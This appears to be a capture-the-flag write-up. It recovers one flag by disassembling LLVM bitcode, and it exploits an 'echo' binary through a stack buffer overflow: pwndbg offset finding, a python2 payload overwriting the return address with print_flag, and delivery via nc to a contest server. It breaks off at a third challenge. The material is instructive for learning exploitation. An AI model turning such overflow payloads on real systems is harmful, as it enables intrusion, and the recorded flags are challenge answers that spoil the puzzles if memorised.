

## RE- Nothin But Stringz

```
(zeqzoq@DESKTOP-TVA03PG)-[/mnt/c/Users/hzqzz/Downloads]
└─$ file nothin_but_stringz.c.o
nothin_but_stringz.c.o: LLVM bitcode, wrapper

(zeqzoq@DESKTOP-TVA03PG)-[/mnt/c/Users/hzqzz/Downloads]
└─$ llvm-dis nothin_but_stringz.c.o -o output.ll

(zeqzoq@DESKTOP-TVA03PG)-[/mnt/c/Users/hzqzz/Downloads]
└─$ strings output.ll | grep flag
@.str = private unnamed_addr constant [40 x i8]
c"flag{a1_th3_h0miez_l0v3_llvm_643e5f4a}\00", align 1
@flag = global ptr @.str, align 8
@.str.1 = private unnamed_addr constant [25 x i8] c"The flag begins with %c\0A\00", align 1
%2 = load ptr, ptr @flag, align 8
!llvm.module.flags = !{!0, !1, !2, !3, !4}
```

## Pwn – echo

```
(zeqzoq@DESKTOP-TVA03PG)-[/mnt/c/Users/hzqzz/Downloads]
└─$ gdb echo-app
pwndbg> info function
All defined functions:

Non-debugging symbols:
...
0x0000000000401176 print_flag
0x000000000040119f do_echo
0x0000000000401311 main
0x0000000000401338 _fini
pwndbg> p print_flag
$1 = {<text variable, no debug info>} 0x401176 <print_flag>
pwndbg> cyclic 300
aaaaaaaaabaaaaaaaaacaaaaaaaaadaaaaaaaaaeaaaaaaaafaaaaaaaagaaaaaaaahaaaaaaaiaaaaa
aajaaaaaaaakaaaaaaaalaaaaaaamaaaaaaanaaaaaaaaoaaaaaaaapaaaaaaaqaaaaaaaaraaa
aaaaasaaaaaataaaaaauaaaaaavaaaaaawaaaaaaxaaaaaayaaaaaazaaaaaabba
aaaaabcaaaaaabdaaaaaabeaaaaabfaaaaaabgaaaaabhaaaaaabiaaaaaabjaaaaaab
kaaaaaablaaaaaabmaaa
pwndbg> run
Starting program: /mnt/c/Users/hzqzz/Downloads/echo-app
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
ECHO! Echo! echo!
aaaaaaaaabaaaaaaaaacaaaaaaaaadaaaaaaaaaeaaaaaaaafaaaaaaaagaaaaaaaahaaaaaaaiaaaaa
aajaaaaaaaakaaaaaaaalaaaaaaamaaaaaaanaaaaaaaaoaaaaaaaapaaaaaaaqaaaaaaaaraaa
```

```

aaaaaataaaaaauaaaaavaaaaawaaaaaxaaaaayaaaaazaaaaabba
aaaaabcaaaaabdaaaaaabeaaaaabfaaaaaabgaaaaabhaaaaabiaaaaabjaaaaab
kaaaaaablaaaaaabmaaa
aaaaaaabaaaaaacaaaaadaaaaaaeaaaaafaaaaagaaaaahaaaaaiaaaa
aajaaaaakaaaaaalaaaaamaaaaanaaaaaoaaaaapaaaaaqaaaaaaraaa
aaaaaataaaaaauaaaaavaaaaawaaaaaxaaaaayaaaaazaaaaabba
aaaaabcaaaaabdaaaaaabeaaaaabfaaaaaabgaaaaabhaaaaabiaaaaabjaaaaab
kaaaaaablaaaaaabmaaa
00:0000 | rsp 0x7fffffffde28 ◀ — 'iaaaaaabjaaaaabkaaaaaablaaaaaabmaaa'
01:0008 | 0x7fffffffde30 ◀ — 'jaaaaabkaaaaaablaaaaaabmaaa'
02:0010 | 0x7fffffffde38 ◀ — 'kaaaaaablaaaaaabmaaa'
03:0018 | 0x7fffffffde40 ◀ — 'laaaaaabmaaa'
04:0020 | 0x7fffffffde48 ◀ — 0x6161616d /* 'maaa' */

```

```

pwndbg> cyclic -l iaaaaaab
Finding cyclic pattern of 8 bytes: b'iaaaaaab' (hex: 0x6961616161616162)
Found at offset 264
pwndbg> quit

```

```

└─(zeqzoq@DESKTOP-TVA03PG)-[/mnt/c/Users/hzqzz/Downloads]
└─$ python2 -c 'print "A" * 264 + "\x76\x11\x40\x00\x00\x00\x00\x00"'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAv@

```

```

└─(zeqzoq@DESKTOP-TVA03PG)-[/mnt/c/Users/hzqzz/Downloads]
└─$ python2 -c 'print "A" * 264 + "\x76\x11\x40\x00\x00\x00\x00\x00"' > payload

```

```

└─(zeqzoq@DESKTOP-TVA03PG)-[/mnt/c/Users/hzqzz/Downloads]
└─$ nc 54.85.45.101 8008 < payload
ECHO! Echo! echo!
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAv@

```

```

flag{curs3d_are_y0ur_eyes_for_they_see_the_fl4g}
^^ Flag!!111!!!! ^^

```

Pwn – Only Ws

```
from pwn import *
```

